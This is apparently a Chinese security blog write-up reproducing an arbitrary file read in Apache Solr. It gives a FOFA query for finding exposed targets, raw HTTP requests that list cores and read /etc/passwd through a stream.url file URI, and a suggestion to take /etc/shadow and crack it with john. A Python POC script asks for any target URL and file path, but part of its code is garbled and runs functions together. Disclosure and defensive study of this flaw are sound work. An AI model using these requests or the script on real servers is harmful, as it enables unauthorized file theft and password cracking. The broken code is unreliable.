Apache Solr 全版本任意文件读取
0x01 漏洞说明
Apache Solr 全版本存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标系统的敏感文件
0x02 影响版本
全版本
0x03 漏洞复现
fofa搜索标题:app="Solr"?|| app=""Apache-Solr"
环境配置
下载Solr进行解压缩:
https://solr.apache.org/downloads.html #solr下载进入Solr的bin目录执行命令:
https://www.freebuf.com/articles/web/solr strat访问url,出现如下页面即为启动成功。
http://192.168.153.7:8983此时启动的solr是没有核心进行索引和搜索的。
https://www.freebuf.com/articles/web/solr create -c <name> # 创建一个数据驱动模式的核心漏洞复现
访问url:
http://192.168.153.7:8983/solr/admin/cores?indexInfo=false&wt=jsonburp数据包为:
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 84当出现"This response format is experimental.? It is likely to change in the future." 表示存在漏洞。
进行文件读取:
POST /solr/henry/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.153.7:8983 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 35 Content-Type: application/x-www-form-urlencoded stream.url=file:///etc/passwd也可以读取shadow文件然后进行john爆破出密码:
POC脚本:
(PeiQi师傅,永远的神!)
# coding=utf-8 # Apache Solr 全版本任意文件读取 # Fofa:app="Apache-Solr" || app="Solr" import requests import json import sys import time def title(): print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") print("+~~~~~~ Apache Solr 全版本任意文件读取 ~~~~~~+") print("+~~~~~~ Use: python3 solr.py ~~~~~~+") print("+~~~~~~ url: http://x.x.x.x:port ~~~~~~+") print("+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+") time.sleep(2) def get_name(url): url_1=url + "/solr/admin/cores?indexInfo=false&wt=json" try: res=requests.get(url=url_1) #将json数据python字典话 name=str(list(json.loads(res.text)["status"])[0]) print("[!] 获取到目标系统name:\033[31m%s\033[0m"%name+" [0]"+"URL:"+url+"/solr/"+name+"/config") return name except Exception as e: print("[!] 目标URL无法进行利用。",e) sys.exit(0) def check_vul(url,name): url_2=url +"/solr/" + name + "/config" data='\033\0m".format(content)) except Exception as e: print("[!] 目标系统似乎意外中断了",e) sys.exit(0) if __name__=="__main__": title() url=str(input(" [!] 请输入目标系统URL: ")) name=get_name(url) check_vul(url,name) file_name=str(input("[!] 请输入要读取的文件:")) read_files(url,name,file_name)0x04 修复建议
由于目前官方不予修复该漏洞,暂无安全版本。
1. 开启身份验证/授权
2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的IP和用户才能访问
3.禁止将Apache Solr放置在外网
结束语
本次复现是本地搭建模拟攻击行为,本文章仅用于交流学习,请勿使用该漏洞进行违法活动。
https://github.com/Henry4E36/Solr
参考文献
https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg